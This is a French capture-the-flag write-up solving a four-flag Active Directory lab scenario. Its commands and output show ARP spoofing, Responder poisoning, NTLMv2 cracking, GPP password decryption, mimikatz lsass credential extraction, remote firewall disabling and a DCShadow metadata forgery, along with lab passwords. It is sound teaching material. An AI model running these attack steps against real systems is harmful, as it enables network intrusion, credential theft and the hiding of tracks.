NorzhCTF 2019 & RedHackCTF 2019 - Windows AD - Game of Pwn

Le NorzhCTF, organisé en marge du FIC 2019, m’a donné l’occasion de concevoir, en collaboration avec @AzrakelK (L0n3w0lf), le scénario d’attaque en relation avec un domaine Active Directory. Cet article traite de ce challenge et présente notre solution. Le challenge a également été rejoué dans le cadre du RedHackCTF 2019, sous le même nom.

Le challenge “Game of Pwn - A song of users and domain” est un scénario composé de 4 challenges (4 flags) permettant aux participants de découvrir et exploiter certaines vulnérabilités ou faiblesses de configuration connues dans un domaine Active Directory.

Sommaire

Énoncé

Une fois la plateforme de challenge atteinte par les participants, l’énoncé suivant était donné pour l’ensemble des challenges portant sur ce scénario.

Welcome on this scenario ! You'll have to pentest a Windows based "company" infrastructure. Let's go !

The first flag is the password for the user Davos Mervault, using the following : ENSIBS{password}
Then, you'll have to look for private, local, documents.

Pas d’autres informations. Le reste du challenge s’éclaire en résolvant les challenges un par un.

TL;DR

Cette partie présente les commandes utilisées, dans l’ordre, afin de résoudre les différents challenges du scénario. La totalité de ce dernier est cependant expliqué et détaillé plus bas.

# Reconnaissance CLIENT01
$ nmap -v -Pn -n -T4 -sT --reason 10.69.88.0/24

# ARP Spoof
$ sudo arpspoof -i eth0 -t 10.69.88.23 10.69.88.254
$ sudo tcpdump -i eth0

# Reconnaissance DC01
$ sudo nmap -v -Pn -n -T4 -O 10.34.67.4 

# Man in the Middle - NBT-NS - Récupération compte utilisateur
sudo responder -I eth0 -wFv
$ john --format=netntlmv2 --wordlist="/usr/share/wordlists/rockyou.txt" hash.txt 

# Reconnaissance sur le domaine
$ rpcclient -U dmervault 10.34.67.4
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> querygroupmem 0x200

# Enumeration des partages réseau
$ cme smb 10.69.88.23 -u dmervault -p littledog --shares  
$ cme smb 10.34.67.4 -u dmervault -p littledog --shares  

# Fouille SYSVOL et récupération GPO
$ smbclient -U dmervault //10.34.67.4/SYSVOL
smb: \NORZH.LAN\Policies\{195471B6-B0C6-4AD2-9853-28E2B4E9CEF6}\Machine\Preferences\Groups\> get Groups.xml 

# MS14-025
$ gpp-decrypt hT4tFpr32vG4LZHmnqXM4d8fJ0MfZZdLg0QK40Oq6UC4atw0nUeUCkJDLb1FzouL

# Connexion administrateur sur CLIENT01
$ cme smb 10.69.88.23 -u Administrator -p "0h_y3@_Y0u_GoAt_Me#" --local-auth
$ smbclient -U Administrator //10.69.88.23/C$
smb: \Users\Administrator\Documents\Audit_20_12_2018_Confidentiel\> get flag2.txt
smb: \Users\Administrator\Documents\Audit_20_12_2018_Confidentiel\> get lsass.DMP

# Récupération de compte admin du domaine
mimikatz # sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonPasswords /full

# Connexion DC01 et récupération flag
$ cme smb 10.34.67.4 -u jsnow -p ":8n2K@j4hfUK#5Jek#"
$ smbclient -U jsnow //10.34.67.4/C$
smb: \Users\jsnow\Documents\> get flag3.txt 

# Activation RDP
$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -M rdp -o ACTION=enable

# Vérificaton du pare-feu et désactivation
$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'netsh advfirewall show allprofiles'
$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'netsh advfirewall set allprofiles state off'

# Exploitation DC Shadow (shell 1)
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:dtargaryen /attribute:description /value:"The Game" /replOriginatingUid:{00000000-0000-0000-0000-000000000000} /replOriginatingTime:"2017-01-01 09:00:00" /replOriginatingUsn:42

# Exploitation DC Shadow (shell 2)
mimikatz # lsadump::dcshadow /push

# Vérification succès
$ sudo ./cme smb 10.34.67.4 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'repadmin /showobjmeta DC01.NORZH.LAN "CN=Daenerys Targaryen,CN=Users,DC=NORZH,DC=LAN"'

rpcclient $> queryuser 0x451


Prérequis

Cette partie détaille les différents prérequis à la réalisation du challenge, notamment en ce qui concerne l’accès aux différents challenges qui n’étaient pas directement joignables.


Connexion au réseau interne

Une fois branché au réseau interne de l’entreprise, par l’intermédiaire des switchs fournis aux joueurs, on se rend rapidement compte qu’il n’y a pas de serveur DHCP. Par conséquent, il faut trouver un moyen d’identifier le LAN sur lequel nous sommes afin de configurer manuellement le réseau.

Pour cela, on sort Wireshark afin d’observer ce qui se passe sur le réseau.

Wireshark GoP

Rapidement, on observe des interactions effectuées autour de 2 adresses IP :

  • 10.69.88.23 - Il semble d’agir d’une machine nommée “CLIENT01”. Hypothèse, un client Windows ?
  • 10.69.88.254 - Il s’agit ici de la passerelle du LAN.

Les paquets envoyés en broadcast nous renseignent sur le masque de sous réseau utilisé, on est donc sur le réseau 10.69.88.0/24. Utilisant une machine d’attaque sous Kali Linux, on modifie notre fichier /etc/network/interfaces afin de configurer notre interface.

auto eth0
iface eth0 inet static
    address 10.69.88.56
    netmask 255.255.255.0
    gateway 10.69.88.254 

Dernier point, on redémarre le service réseau, et on est bon !

$ sudo service networking restart


Découverte des machines

Second prérequis au challenge, savoir quoi sur quoi taper… Pour cela, il va être nécessaire de faire de la reconnaissance afin de découvrir les différentes machines.

On commence par un scan simple sur la plage réseau afin d’identifier les machines sur ce LAN. Deux machines sont identifiées mais seulement une nous intéresse. Il s’agit de la machine identifiée avec Wireshark. 3 ports sont ouverts (135, 139, 445). Il s’agit de ports classiques sur des machines Windows à l’intérieur d’un domaine.

$ nmap -v -Pn -n -T4 -sT --reason 10.69.88.0/24

Nmap scan report for 10.69.88.23
Host is up, received user-set (0.0010s latency).
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT    STATE SERVICE      REASON
135/tcp open  msrpc        syn-ack
139/tcp open  netbios-ssn  syn-ack
445/tcp open  microsoft-ds syn-ack

À ce moment, on dispose d’une machine cliente, mais toujours pas de Contrôleur de Domaine (DC)… Peut être serait il dans un second LAN ?

On sait que le client communique avec son DC, notamment par l’intermédiaire de la passerelle. Ainsi, on peut réaliser un spoofing ARP. Il s’agit d’une méthode consistant à empoisonner le réseau afin de se faire passer pour quelqu’un d’autre. Dans notre cas, on va se faire passer pour la passerelle (10.69.88.254) et ainsi recevoir les trames du client (10.69.88.23) afin de voir leur destination.

# Terminal 1 - On empoisonne
$ sudo arpspoof -i eth0 -t 10.69.88.23 10.69.88.254
8:0:27:43:ec:a7 8:0:27:ab:61:71 0806 42: arp reply 10.69.88.254 is-at 8:0:27:43:ec:a7
8:0:27:43:ec:a7 8:0:27:ab:61:71 0806 42: arp reply 10.69.88.254 is-at 8:0:27:43:ec:a7
8:0:27:43:ec:a7 8:0:27:ab:61:71 0806 42: arp reply 10.69.88.254 is-at 8:0:27:43:ec:a7
8:0:27:43:ec:a7 8:0:27:ab:61:71 0806 42: arp reply 10.69.88.254 is-at 8:0:27:43:ec:a7

# Terminal 2 - On écoute ce qui passe
$ sudo tcpdump -i eth0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
16:54:13.156934 IP 10.69.88.23.51154 > 10.34.67.4.domain: 9046+ A? TH3G4ME.NORZH.LAN. (35)

Une adresse IP est trouvée, il s’agit de la 10.34.67.4. Un rapide scan de ports sur cette dernière nous révèle ce que nous voulions, à savoir qu’il s’agit bien d’un contrôleur de domaine !

$ sudo nmap -v -Pn -n -T4 -O 10.34.67.4 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-26 17:50 CET
Initiating SYN Stealth Scan at 17:50
Scanning 10.34.67.4 [1000 ports]
Completed SYN Stealth Scan at 17:50, 4.07s elapsed (1000 total ports)
Initiating OS detection (try #1) against 10.34.67.4
Nmap scan report for 10.34.67.4
Host is up (0.00084s latency).
Not shown: 984 filtered ports
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49159/tcp open  unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2012
OS CPE: cpe:/o:microsoft:windows_server_2012:r2
OS details: Microsoft Windows Server 2012 or Windows Server 2012 R2
Uptime guess: 0.020 days (since Sat Jan 26 17:22:17 2019)
TCP Sequence Prediction: Difficulty=252 (Good luck!)
IP ID Sequence Generation: Incremental

Tout est fin prêt pour passer au challenge.


Challenge 1 - Entrée sur le domaine

La première partie du challenge consiste à trouver un point d’entrée sur le domaine Active Directory ou sur les machines Windows. Aucun identifiant n’est connu à ce moment du challenge.


Récupération du hash NetNTLMv2 utilisateur

Dans le cadre d’un SI d’entreprise, il n’est pas rare que les ordinateurs du domaine recherchent des ressources diverses et variées sur le réseau. Cependant, si un client ne parvient pas à trouver une ressource en particulier, si cela n’a pas été désactivé, il a envoyer successivement des requêtes LLMNR puis NBT-NS afin de demander aux machines voisines si elles ne connaissent pas la ressource.

Il est possible d’exploiter ce comportement en réalisant une attaque Man In The Middle, à l’aide de l’outil responder par exemple. En pratique, si ce genre de requête circule sur le réseau, notre machine (attaquant) va alors se faire passer pour cette ressource. Ainsi, une réponse est envoyée au client, lui disant que la ressource a été trouvée et ce dernier envoie ses identifiants sur le réseau afin de s’y connecter.

$ sudo responder -I eth0 -wFv

[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.69.88.23 for name TH3G4ME (service: File Server)
[SMBv2] NTLMv2-SSP Client   : 10.69.88.23
[SMBv2] NTLMv2-SSP Username : NORZH\dmervault
[SMBv2] NTLMv2-SSP Hash     : dmervault::NORZH:b36fe00d35fbe870:CD538CF0935600E8C065F9CA4830B677:0101000000000000C0653150DE09D201D3C9ADFEC5AEFA66000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000000000000002000009811A9EAB1FE9DADCBB5D03032B97801110DF0BCCD0C7A06D494CFEBD85161180A001000000000000000000000000000000000000900180063006900660073002F00540048003300470034004D004500000000000000000000000000

Un compte utilisateur du domaine est donc trouvé avec cette technique ! L’utilisateur dmervault. Cependant, même s’il existe des attaques de type “Pass the Hash”, le mot de passe en clair est bien souvent nécessaire.


Cassage du hash et premier flag

Le hash récupéré sur le réseau est du type Net-NTLMv2 (NTLMv2). Il s’agit du type de hash par défaut utilisé depuis Windows 2000. Il est très largement possible de cracker ce type de hash, même si cela peut s’avérer long.

Dans la vraie vie, les entreprises sont souvent équipées de politiques de mots de passe, impliquant des mots de passe utilisateur ayant une certaine complexité (et encore…) mais dans le cadre d’un CTF, il n’est pas rare que les mots de passe à trouver soient tirés de certaines wordlists connues.

Ainsi, on peut tenter de cracker le hash précédemment récupéré, à l’aide de John.

$ john --format=netntlmv2 --wordlist="/usr/share/wordlists/rockyou.txt" hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
littledog        (dmervault)
1g 0:00:00:00 DONE (2019-01-26 17:29) 8.333g/s 341391p/s 341391c/s 341391C/s littledog
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

Assez rapidement, le mot de passe de l’utilisateur tombe ! On dispose donc d’un compte utilisateur, pouvant potentiellement se connecter au domaine et accessoirement, du premier flag du challenge ENSIBS{littledog}.


Challenge 2 - Compromission de la machine cliente

A ce stade, on dispose d’un compte utilisateur du domaine, et de quelques informations sur la suite du challenge. En effet, il est indiqué que nous devons chercher du côté des fichiers privés et locaux, donc probablement sur la machine cliente.


Reconnaissance

Ayant de nouveaux accès, il peut être intéressant d’effectuer une phase de reconnaissance. On peut par exemple se connecter en RPC au contrôleur de domaine afin de récolter des informations.

$ rpcclient -U dmervault 10.34.67.4
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Unable to initialize messaging context
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Enter WORKGROUP\dmervault's password: 
rpcclient $>

On commence par récupérer la liste des utilisateurs et groupes du domaine. Cette action permet d’en apprendre plus et de commencer à cibler nos recherches et attaques.

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[nstark] rid:[0x450]
user:[jsnow] rid:[0x451]
user:[dtargaryen] rid:[0x452]
user:[dmervault] rid:[0x455]

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44f]

On sait que les groupes sensibles sont les groupes privilégiés. En l’occurrence, le meilleur exemple est le groupe Domain Admins contenant des utilisateurs administrateurs. On peut donc récupérer les membres du groupe en utilisant le RID de ce dernier.

rpcclient $> querygroupmem 0x200
    rid:[0x451] attr:[0x7]
    rid:[0x1f4] attr:[0x7]

On observe que deux utilisateurs sont membres de ce groupe. Le premier, ayant le RID 1F4 (=500) est le compte Administrateur créé par défaut à la création du domaine. Le second, ayant le RID 451 (=1105) est le compte utilisateur Jon Snow (jsnow). On a donc une cible pour la suite ! Creuser du côté de ce compte peut être très intéressant.

On peut ensuite regarder du côté des partages réseaux. L’outil CrackMapExec permet par exemple de facilement lister les partages accessibles côté DC et côté CLIENT. Rien de très exotique, mais on remarque néanmoins le partage SYSVOL, accessible en lecture.

$ cme smb 10.69.88.23 -u dmervault -p littledog --shares  
SMB         10.69.88.23     445    CLIENT01         [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:CLIENT01) (domain:NORZH) (signing:False) (SMBv1:True)
SMB         10.69.88.23     445    CLIENT01         [+] NORZH\dmervault:littledog 
SMB         10.69.88.23     445    CLIENT01         [+] Enumerated shares
SMB         10.69.88.23     445    CLIENT01         Share           Permissions     Remark
SMB         10.69.88.23     445    CLIENT01         -----           -----------     ------
SMB         10.69.88.23     445    CLIENT01         ADMIN$                          Remote Admin
SMB         10.69.88.23     445    CLIENT01         C$                              Default share
SMB         10.69.88.23     445    CLIENT01         IPC$                            Remote IPC
$ cme smb 10.34.67.4 -u dmervault -p littledog --shares  
SMB         10.34.67.4      445    DC01             [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:DC01) (domain:NORZH) (signing:True) (SMBv1:True)
SMB         10.34.67.4      445    DC01             [+] NORZH\dmervault:littledog 
SMB         10.34.67.4      445    DC01             [+] Enumerated shares
SMB         10.34.67.4      445    DC01             Share           Permissions     Remark
SMB         10.34.67.4      445    DC01             -----           -----------     ------
SMB         10.34.67.4      445    DC01             ADMIN$                          Remote Admin
SMB         10.34.67.4      445    DC01             C$                              Default share
SMB         10.34.67.4      445    DC01             IPC$                            Remote IPC
SMB         10.34.67.4      445    DC01             NETLOGON        READ            Logon server share 
SMB         10.34.67.4      445    DC01             SYSVOL          READ            Logon server share 


Utilisation du partage SYSVOL

SYSVOL est un partage réseau regroupant l’ensemble des éléments utiles dans le processus de réplication des DC, mais également les éléments qui doivent être accessibles pour l’ensemble des ordinateurs du domaine (par exemple, scripts de connexion, GPO, …). Par conséquent, il doit être accessible en lecture à distance. On peut ainsi s’y connecter de la façon suivante.

$ smbclient -U dmervault //10.34.67.4/SYSVOL
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Enter WORKGROUP\dmervault's password: 
Try "help" to get a list of possible commands.
smb: \>


Exploitation de la vulnérabilité MS14-025

L’intérêt ici se situe dans les Stratégies de Groupe (GPO) appliquées au domaine. Certains systèmes n’étant pas à jour (ce qui peut arriver souvent dans un cadre réel) souffrent d’une vulnérabilité Microsoft, la MS14-025 permettant ainsi d’exploiter l’application des GPO afin d’y retrouver le mot de passe du compte utilisé pour appliquer la GPO. Dans la plupart des cas, il s’agit de l’administrateur local de la machine.

On file donc au coeur de la GPO trouver le fichier Groups.xml, utilisé pour stocker les informations de l’utilisateur impliqué dans la stratégie.

smb: \NORZH.LAN\Policies\{195471B6-B0C6-4AD2-9853-28E2B4E9CEF6}\Machine\Preferences\Groups\> ls
  .                                   D        0  Sun Nov 25 17:11:30 2018
  ..                                  D        0  Sun Nov 25 17:11:30 2018
  Groups.xml                          A      548  Sun Nov 25 17:11:56 2018

        10395647 blocks of size 4096. 7658701 blocks available
smb: \NORZH.LAN\Policies\{195471B6-B0C6-4AD2-9853-28E2B4E9CEF6}\Machine\Preferences\Groups\> get Groups.xml 
getting file \NORZH.LAN\Policies\{195471B6-B0C6-4AD2-9853-28E2B4E9CEF6}\Machine\Preferences\Groups\Groups.xml of size 548 as Groups.xml (107.0 KiloBytes/sec) (average 107.0 KiloBytes/sec)

On peut voir en affichant le fichier que le compte administrateur local par défaut (built-in) est utilisé. On y voit également son mot de passe, chiffré avec de l’AES-256.

$ cat Groups.xml 
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2018-11-25 16:11:56" uid="{7F1848E5-9B8D-446A-8C27-348CC2894A4C}"><Properties action="U" newName="" fullName="" description="" cpassword="hT4tFpr32vG4LZHmnqXM4d8fJ0MfZZdLg0QK40Oq6UC4atw0nUeUCkJDLb1FzouL" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/></User>
</Groups>

La vulnérabilité se situe précisément à cet endroit puisque Microsoft a publié il y a maintenant quelques années sur le MSDN la clé privée utilisée pour chiffrer ces mots de passe… Clé privée qui reste la même pour chaque chiffrement. Il est donc possible pour quiconque obtient un accès au SYSVOL de récupérer ce fichier, et ainsi déchiffrer le mot de passe de l’administrateur. Plusieurs outils existent mais j’ai utilisé l’outil gpp-decrypt implémenté par défaut sous Kali.

$ gpp-decrypt hT4tFpr32vG4LZHmnqXM4d8fJ0MfZZdLg0QK40Oq6UC4atw0nUeUCkJDLb1FzouL
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
0h_y3@_Y0u_GoAt_Me#


Fouille et récupération du second flag

Maintenant que nous disposons du mot de passe de l’administrateur du client, il est possible de s’y connecter en ayant des privilèges élevés !

$ cme smb 10.69.88.23 -u Administrator -p "0h_y3@_Y0u_GoAt_Me#" --local-auth
SMB         10.69.88.23     445    CLIENT01         [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:CLIENT01) (domain:CLIENT01) (signing:False) (SMBv1:True)
SMB         10.69.88.23     445    CLIENT01         [+] CLIENT01\Administrator:0h_y3@_Y0u_GoAt_Me# (Pwn3d!)

On peut ainsi se connecter au partage C$ qui n’est autre que le disque C: de la machine.

$ smbclient -U Administrator //10.69.88.23/C$
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Enter WORKGROUP\Administrator's password: 
Try "help" to get a list of possible commands.
smb: \>

Ainsi, les fouilles peuvent commencer. L’énoncé indiquant que la suite se situe dans des fichiers privés, on se dirige rapidement vers les répertoires privés de l’administrateur où on y trouve un répertoire Audit_20_12_2018_Confidentiel.. Intriguant !

smb: \Users\Administrator\Documents\> ls
  .                                  DR        0  Mon Nov 26 11:12:30 2018
  ..                                 DR        0  Mon Nov 26 11:12:30 2018
  Audit_20_12_2018_Confidentiel       D        0  Wed Nov 28 14:57:22 2018
  desktop.ini                       AHS      402  Mon Nov 26 10:56:56 2018
  My Music                          DHS        0  Mon Nov 26 10:56:45 2018
  My Pictures                       DHS        0  Mon Nov 26 10:56:45 2018
  My Videos                         DHS        0  Mon Nov 26 10:56:45 2018

        10459647 blocks of size 4096. 5709473 blocks available

Ainsi, on obtient le second flag du challenge ! Le fichier est accompagné d’instructions pour la suite.

smb: \Users\Administrator\Documents\Audit_20_12_2018_Confidentiel\> ls
  .                                   D        0  Wed Nov 28 14:57:22 2018
  ..                                  D        0  Wed Nov 28 14:57:22 2018
  flag2.txt                           A      211  Wed Nov 28 14:56:56 2018
  lsass.DMP                           A 31456493  Mon Nov 26 11:20:34 2018
  scan_nmap_domain.txt                A     5120  Wed Nov 28 14:57:18 2018

        10459647 blocks of size 4096. 5709473 blocks available
smb: \Users\Administrator\Documents\Audit_20_12_2018_Confidentiel\> get flag2.txt
$ cat flag2.txt                                                             
Well done ! Looks like you owned this first machine ! Here is the flag : ENSIBS{0x2adb3e_w1nt3r_1s_c0minG#}

Road to domain p0wnage ! Your next flag should be hidden in domain admins private files, g00d luck !


Challenge 3 - Contrôle du domaine

Comme l’indique le fichier texte récupéré, la prochaine étape consiste à compromettre le domaine complet.


Récupération du dump LSASS

Premier élément à notre portée, deux fichiers laissés dans le répertoire d’audit. Un scan de ports, pas vraiment utile dans notre cas, mais surtout, un fichier lsass.dmp qui semble bien plus important… Sous Windows, le processus lsass.exe est l’élément qui gère l’authentification des utilisateurs (locaux ou domaine) sur le système. Le service LSASS (Local Security Authority Subsystem Service) stocke également les informations de connexion des sessions utilisateurs actives.

smb: \Users\Administrator\Documents\Audit_20_12_2018_Confidentiel\> get lsass.DMP 
getting file \Users\Administrator\Documents\Audit_20_12_2018_Confidentiel\lsass.DMP of size 31456493 as lsass.DMP (14149.8 KiloBytes/sec) (average 13647.0 KiloBytes/sec)


Analyse de la mémoire LSASS

Plusieurs méthodes existent afin d’exploiter le processus lsass.exe afin de récupérer des informations. D’une manière générale, si le dump du processus a été réalisé alors que des utilisateurs étaient connectés à la machine, alors les informations de connexion de ces derniers se retrouveront dans le dump.

L’exploitation du dump peut se faire à l’aide de l’utilitaire Mimikatz.

Mimikatz GoP

La première commande sekurlsa::minidump lsass.DMP sert à spécifier qu’on n’utilise pas le processus lsass.exe courant de la machine mais un fichier contenant un dump de la mémoire du processus. Ainsi, on lui fournit le chemin du fichier à analyser.

La seconde commande sekurlsa::logonPasswords /full sert à récupérer l’ensemble des informations utilisateurs stockées en mémoire. Ainsi, on récupère le compte de l’utilisateur Jon Snow (jsnow) ! On dispose donc maintenant d’un compte privilégié.. Let’s pwn !


Connexion au DC et récupération du troisième flag

De la même façon que pour l’administrateur local, il est possible de se connecter au domaine avec notre nouvel utilisateur et ainsi de voir qu’on dispose de privilèges élevés ! Cela est visible entre autres avec CrackMapExec qui nous indique que nous sommes administrateur de la machine (Pwn3d!).

$ cme smb 10.34.67.4 -u jsnow -p ":8n2K@j4hfUK#5Jek#"
SMB         10.34.67.4      445    DC01             [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:DC01) (domain:NORZH) (signing:True) (SMBv1:True)
SMB         10.34.67.4      445    DC01             [+] NORZH\jsnow::8n2K@j4hfUK#5Jek# (Pwn3d!)

Pour rappel, l’énoncé du troisième challenge dirige les participants vers les répertoires privés du nouvel utilisateur attaqué. De la même façon que pour le second challenge, on peut se connecter via smbclient aux machines à distance. Cette fois ci, on va cibler le C$ (Disque C:) du contrôleur de domaine.

$ smbclient -U jsnow //10.34.67.4/C$
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Enter WORKGROUP\jsnow's password: 
Try "help" to get a list of possible commands.
smb: \>

Quelques fouilles plus tard, on trouve effectivement dans le répertoire C:\Users\jsnow\Documents un fichier flag3.txt qu’on peut alors récupérer !

smb: \Users\jsnow\Documents\> ls
  .                                  DR        0  Wed Nov 28 15:10:50 2018
  ..                                 DR        0  Wed Nov 28 15:10:50 2018
  desktop.ini                       AHS      402  Sun Nov 25 19:36:45 2018
  flag3.txt                           A      530  Wed Nov 28 15:10:55 2018
  My Music                          DHS        0  Sun Nov 25 16:35:21 2018
  My Pictures                       DHS        0  Sun Nov 25 16:35:21 2018
  My Videos                         DHS        0  Sun Nov 25 16:35:21 2018

        10395647 blocks of size 4096. 7661422 blocks available
smb: \Users\jsnow\Documents\> get flag3.txt 
getting file \Users\jsnow\Documents\flag3.txt of size 530 as flag3.txt (258.8 KiloBytes/sec) (average 258.8 KiloBytes/sec)

Celui ci content bien le troisième flag de ce scénario et guide vers la suite.. Avec des informations étranges !

> $ cat flag3.txt                                                                                                                                             
Wow ! Nice one ! Here is your third flag : ENSIBS{b3_Re@dy_f0r_sp0iLeRs_l1ttle_@dm1n!}

What could you do now ? 
The last step for you is to update the description of Daenerys Targaryen. What ? Easy you said ? ;)

In order to work, you need to also set the following settings for the description modification : 

Time : January, 1st 2017 at 9am
UID : 00000000-0000-0000-0000-000000000000
Usn : 42

If you success into attacking this, the description of Jon Snow will be auto-updated with the last flag ! 

Good luck !

En effet, il est ici demandé de modifier la description de l’utilisateur Daenerys Targaryen de façon à ce que cette modification apparaisse dans l’Active Directory comme ayant été faite le 01/01/2017 par l’utilisateur ayant l’UID 00000000-0000-0000-0000-000000000000 et l’USN 42. Il n’est pas précisé de description particulière.. Ainsi, on peut y mettre ce qu’on veut. Étrange vous dîtes ?

Il est temps de RTFM puis exploiter !


Challenge 4 - Métadonnées de réplication

Après quelques recherches sur les différents paramètres et éléments liés aux utilisateurs dans un domaine AD, on apprend que la description est en fait un des différents attributs. La modification de n’importe quel attribut de n’importe quel objet dans un domaine Active Directory produit ce qu’on appelle une metadonnée de réplication. Il s’agit d’informations permettant d’identifier la modification apportée. Cela est généralement utilisé dans le cadre de la réplication entre différents contrôleur de domaine. Le but ici recherché est donc de contrôler ces metadonnées de réplication lors de la modification de la description…

Quelques recherches sur le sujet nous amènent facilement à une attaque relativement récente de post-compromission (une fois la cible compromise) permettant d’effectuer ce genre d’action afin de cacher ses traces, il s’agit du DCShadow !


Activation de RDP

Plusieurs façon pour arriver à nos fins.. Pour des soucis de simplicité et de clarté et étant donné que nous avons besoin d’accéder à la machine cliente, RDP semble être un bon compromis.

Seulement.. RDP est désactivé sur le client. Pas de problème ! On est admin, on fait ce qu’on veut ! Ainsi, on peut l’activer, de différentes façons. L’outil CrackMapExec dispose par exemple d’un module permettant d’activer ou désactiver le RDP sur une cible.

$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -M rdp -o ACTION=enable
SMB         10.69.88.23     445    CLIENT01         [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:CLIENT01) (domain:NORZH) (signing:False) (SMBv1:True)
SMB         10.69.88.23     445    CLIENT01         [+] NORZH\jsnow::8n2K@j4hfUK#5Jek# (Pwn3d!)
RDP         10.69.88.23     445    CLIENT01         [+] RDP enabled successfully


Neutralisation du pare-feu Windows

Deuxième point important, le pare-feu. En effet, la recherche d’informations et ressources sur DCShadow nous apprend que le pare-feu Windows doit être désactivé si on veut réussir à exploiter.

Une fois encore, tout un tas de façons de le faire.. Afin d’éviter l’utilisation d’un shell meterpreter, j’ai choisi de le faire en exécutant une commande à distance avec CrackMapExec. L’option -x permet d’exécuter une commande avec cmd.exe tandis que l’option -X permet d’exécuter du Powershell.

Dans notre cas, on veut commencer par connaître l’état du pare-feu. On peut utiliser pour cela la commande netsh advfirewall show allprofiles.

$ sudo crackmapexec smb 10.69.88.23 -u jsnow -p ":8n2K@j4hfUK#5Jek#" -x 'netsh advfirewall show allprofiles'
SMB         10.69.88.23     445    CLIENT01         [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:CLIENT01) (domain:NORZH) (signing:False) (SMBv1:True)
SMB         10.69.88.23     445    CLIENT01         [+] NORZH\jsnow::8n2K@j4hfUK#5Jek# (Pwn3d!)
SMB         10.69.88.23     445    CLIENT01         [+] Executed command 
SMB         10.69.88.23     445    CLIENT01         Domain Profile Settings:
SMB         10.69.88.23     445    CLIENT01         ----------------------------------------------------------------------
SMB         10.69.88.23     445    CLIENT01         State                                 ON
SMB         10.69.88.23     445    CLIENT01         Firewall Policy                       BlockInbound,AllowOutbound
SMB         10.69.88.23     445    CLIENT01         LocalFirewallRules                    N/A (GPO-store only)
SMB         10.69.88.23     445    CLIENT01         LocalConSecRules                      N/A (GPO-store only)
SMB         10.69.88.23     445    CLIENT01         InboundUserNotification               Enable
SMB         10.69.88.23     445    CLIENT01         RemoteManagement                      Disable
SMB         10.69.88.23     445    CLIENT01         UnicastResponseToMulticast            Enable
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         Logging:
SMB         10.69.88.23     445    CLIENT01         LogAllowedConnections                 Disable
SMB         10.69.88.23     445    CLIENT01         LogDroppedConnections                 Disable
SMB         10.69.88.23     445    CLIENT01         FileName                              %systemroot%\system32\LogFiles\Firewall\pfirewall.log
SMB         10.69.88.23     445    CLIENT01         MaxFileSize                           4096
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         
SMB         10.69.88.23     445    CLIENT01         Private Profile Settings:
SMB         10.69.88.23     445    CLIENT01         ----------------------------------------------------------------------
SMB         10.69.88.23     445    CLIENT01         State                                 ON
